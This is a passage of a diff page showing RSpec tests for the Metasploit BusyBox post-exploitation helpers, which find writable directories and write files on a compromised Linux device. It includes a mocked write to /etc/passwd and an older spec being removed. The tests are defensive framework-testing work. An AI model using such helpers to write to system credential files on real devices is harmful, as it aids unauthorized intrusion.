allow(subject).to receive(:cmd_exec) do
''
end
end
describe "when a writable directory doesn't exist" do
before :each do
allow(subject).to receive(:read_file) do
''
end
end
it "returns nil" do
expect(subject.busy_box_writable_dir).to be_nil
end
end
describe "when a writable directory exists" do
before :each do
allow(subject).to receive(:read_file) do
"#{'A' * 16}XXX#{'A' * 16}"
end
allow(Rex::Text).to receive(:rand_text_alpha) do
'A' * 16
end
end
it "returns the writable dir path" do
expect(subject.busy_box_writable_dir).to eq('/etc/')
end
end
end
describe "#busy_box_write_file" do
before :each do
allow(subject).to receive(:cmd_exec) do
''
end
end
describe "when the file isn't writable" do
before :each do
allow(subject).to receive(:read_file) do
''
end
end
it "returns false" do
expect(subject.busy_box_write_file('/etc/passwd', 'test')).to be_falsey
end
end
describe "when the file is writable" do
before :each do
allow(subject).to receive(:read_file) do
"#{'A' * 16}XXX#{'A' * 16}"
end
allow(Rex::Text).to receive(:rand_text_alpha) do
'A' * 16
end
end
it "returns true" do
expect(subject.busy_box_write_file('/tmp/test', 'test')).to be_truthy
end
end
describe "when prepend is true" do
describe "when there is a writable dir" do
describe "when the target file is writable" do
before :each do
allow(subject).to receive(:busy_box_writable_dir) do
'/tmp/'
end
allow(subject).to receive(:read_file) do
"#{'A' * 16}XXX#{'A' * 16}"
end
allow(Rex::Text).to receive(:rand_text_alpha) do
'A' * 16
end
end
it "returns true" do
expect(subject.busy_box_write_file('/tmp/test', 'test', true)).to be_truthy
end
end
end
describe "when there isn't a writable dir" do
before :each do
allow(subject).to receive(:busy_box_writable_dir) do
nil
end
end
it "returns false" do
expect(subject.busy_box_write_file('/tmp/test', 'test', true)).to be_falsey
end
end
end
end
end

View File

@ -1,43 +0,0 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'msf/core/post/linux/busybox'
describe Msf::Post::Linux::Busybox do
subject do
mod = Module.new
mod.extend described_class
mod
end
describe '#file_exists' do
it "should test for file existence" do
result = subject.file_exists("/etc/passwd")
result.should be true
end
end
describe '#get_writable_directory' do
it "should find a writable directory" do
result = subject.get_writable_directory()
result.should be true
end
end
describe '#is_writable_and_write' do
it "should write and append data to a file in a writable directory" do
result = false
writable_directory = get_writable_directory()
if nil != writable_directory
writable_file = writable_directory + "tmp"
if is_writable_and_write(writable_file, "test write ", false) and "test write " == read_file(writable_file) and
is_writable_and_write(writable_file, "test append", true) and "test write test append" == read_file(writable_file)
result = true
end
cmd_exec("rm -f #{writable_file}")
end
result.should be true
end
end
end